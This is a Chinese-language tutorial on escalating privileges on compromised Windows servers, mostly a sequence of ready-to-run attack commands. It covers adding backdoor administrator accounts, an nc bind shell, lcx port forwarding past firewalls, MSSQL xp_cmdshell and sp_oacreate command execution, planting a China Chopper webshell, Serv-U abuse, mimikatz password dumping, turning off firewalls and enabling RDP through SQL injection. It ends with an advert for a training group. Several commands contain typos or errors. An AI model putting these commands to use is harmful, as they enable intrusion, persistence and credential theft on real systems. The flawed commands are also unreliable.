文件权限配置不当提权
1 普通提权
直接执行开启3389端口,执行net user username password /add & net localgroup administrators usernames /add
如果cmd被禁用,可尝试找可读、可写、可执行目录上传cmd.exe,然后远程连接。
2 启动项提权
@echo off
net user new222 123.com /add
net localgroup administrators new222 /add
将上述代码保存为1.bat文件
再将1.bat拷贝到C:\Documents and Settings\All Users\「开始」菜单\程序\启动\ 目录下,重启服务器即可。
3 NC反弹提权
找可读可写目录,上传nc.exe和cmd.exe (这里我均上传在c:\inetpub\ 目录下)
执行c:\inetpub\nc.exe -l -p 8888 -t -e c:\inetpub\Cmd.exe
打开本地dos: telnet 192.168.0.112 8888 (192.168.0.112为肉鸡ip)
发现变成肉鸡的shell
这里发现当前权限较小,可尝试通过pr.exe执行命令。
4 LCX端口转发
什么情况下适合转发端口?
1.服务器是内网,我们无法连接。
2.服务器上有防火墙,阻断我们的连接。
转发端口的前提,我们是外网或是有外网服务器。
找个可读可写目录上传lcx.exe
本地cmd命令:lcx.exe -listen 1988 4567 (监听本地1988端口并转发到4567端口)
接着shell命令:cmd /c c:\windows\temp\cookies\lcx.exe -slave 本机ip 1988 服务器ip 3389 (把服务器3389端口转发到本地4567端口)
之后本地连接:127.0.0.1:4567 (如果不想加上:4567的话,本地执行命令的时候,把4567换成3389来执行就行了)
以上是本机外网情况下操作,接着说下在外网服务器里如何操作:
上传lxc.exe cmd.exe到服务器且同一目录,执行cmd.exe命令:lcx.exe -listen 1988 4567
接着在aspx shell里点击端口映射,远程ip改为站点的ip,远端口程填1988,点击映射端口,接着在服务器里连接127.0.0.1:4567就可以了。
5 溢出提权
pr提权
在上传大马,拿下shell后,尝试执行net user
发现拒绝访问,没有权限
找可读可写目录,上传cmd.exe。
这里上传到C:\Inetpub\
执行whoami,发现权限为network service,较低。执行net user admin1 admin1 /add失败,没有权限。
执行systeminfo发现没有打补丁,上传pr.exe.
这里上传到C:\Inetpub\
使用pr.exe执行whoami,发现已经是system权限。接着可以创建用户。。。
Ps:这里环境有问题,用公司的2003做的同样操作,复现
Churrasco提权
用法同pr提权,原理一样。
6 数据库提权
必须具备数据库管理员权限才能执行提权操作。例如sqlmap里面 --is-dba
Mssql
Mssql-xp_cmdshell提权
使用sqltools工具,利用xp_cmdshell提权。
这里没有搭建环境,没法复现了。这里默认是允许外连的情况。
按照下面输入账号密码,执行系统命令一通操作,即提权成功。
如果'xp-cmdshell'不存在,执行:
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'user connections',1;
RECONFIGURE;
如果xp_cmdshell组件没有开启,可以执行命令开启
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; //开启xp_cmdshell
可以执行exec xp_cmdshell 'whoami' 查看是否开启成功
#关闭xp_cmdshell:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE; //关闭xp_cmdshell
#附:
MSSQL语句开启3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--
MSSQL语句关闭3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;--
dos命令开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
dos命令关闭3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
win7及以上
netsh advfirewall set allprofiles state on //开启防火墙
netsh advfirewall set allprofiles state off //关闭防火墙
win2003系统使用如下命令
netsh firewall set opmode mode=ENABLE //开启防火墙
netsh firewall set opmode mode=ENABLE //关闭防火墙
此时,可以写入一句话,连菜刀:
exec xp_cmdshell 'echo ^<%@ page language='Jscript'>^<%eval(request.item["chopper"],"unsafe");%^> > d:/a/muma.aspx'
使用菜刀可以上传文件,配合上传做一些操作。比如上传“Getpass”等敏感文件。
如果没有开启外连,可以使用大马里面的SQL-sa提权。
如果没有开启外连也没有开启xp_cmdshell组件,同样上传aspx大马开组件,提权。
Mssql-sp_oacreate提权
前提:
如果xp_cmdshell组件被删除了话,还可以使用sp_oacreate来进行提权。
开启sp_oacreate
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE; //开启sp_oacreate
##关闭sp_oacreate
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE; //关闭sp_oacreate
创建账号:
declare @shell int
exec sp_oacreate 'wscript.shell', @shell out
exec sp_method @shell, 'run' , null, 'c:\windows\system32\cmd.exe \c "net user test pinohd123. /add" '
参考:
https://www.jianshu.com/p/e79d2a42338b
Mysql
udf提权
上传udf提权马。Ps:这里是tools提权马
由于mysql版本大于5.1,创建plugin目录。
导出udf.dll文件
创建函数
执行命令,发现是管理员权限
创建用户
成功执行。
Nc端口转发提权
通过大马创建端口转发函数,执行反弹:
本地监听
7 第三方软件提权
Server-U提权
查看是否有修改权限,如果有读写权限,修改server-u默认安装目录下面的SerUDaemon.ini文件,创建ftp用户,连接,执行命令创建用户:
quote site exec net user aa 123.com /add
quote site exec net localgroup administrators aa/add
如果没有修改权限,可以使用大马serv-u提权进行溢出提权。
注:43958是serv-u默认的端口。
尝试在ServUDaemon.ini配置文件里面,创建新的用户,辅助提权。
发现没有权限写入,这里不再尝试破解hash。而是通过大马所带“ServU-提权”进行溢出提权。
如果管理员修改密码,可以尝试把ServUAdmin.exe下载到本地,使用C32Asm.exe以16进制打开,ctrl+F查找,使用ANSI类型搜索,查找真实密码。如下:
8 破解hash提权
Getpass
这里在win2003没有试验成功,后在2008上面能复现。如下:
Pwdump7
mimikatz
第一条:privilege::debug
//提升权限
第二条:sekurlsa::logonpasswords
//抓取密码
9 开启远程
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /fccccc
保存为1.reg,文件,然后执行,或者直接在cmd.exe里执行。
SQL语句直接开启3389
3389登陆关键注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\DenyTSConnections
其中键值DenyTSConnections 直接控制着3389的开启和关闭,当该键值为0表示3389开启,1则表示关闭。
而MSSQL的xp_regwrite的存储过程可以对注册进行修改,我们使用这点就可以简单的修改DenyTSConnections键值,从而控制3389的关闭和开启。
开启3389的SQL语句: syue.com/xiaohua.asp?id=100;exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,'SYSTEM\CurrentControlSet\Control\TerminalServer’,'fDenyTSConnections’,'REG_DWORD’,0;–
关闭3389的SQL语句:syue.com/xiaohua.asp?id=100;exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,'SYSTEM\CurrentControlSet\Control\TerminalServer’,'fDenyTSConnections’,'REG_DWORD’,1;–
2003可以实现一句话开3389:reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v PortNumber /t REG_DWORD /d 80 /f
最后喜欢我文章的朋友请加圈子关注我们,私信关键词:学习。(送免费资料和优惠券)
就会自动分享给你微信号。欢迎大家加入我们的安全大家庭。提高大家的安全意识,提升大家的网络安全技能一直是我们的初衷和愿景,让我们共同成为守护信息世界的"SaFeMAN"。
还有可以关注我们微信公众号,在公众号上输入安界网,就可以关注到我们,领取资料和优惠券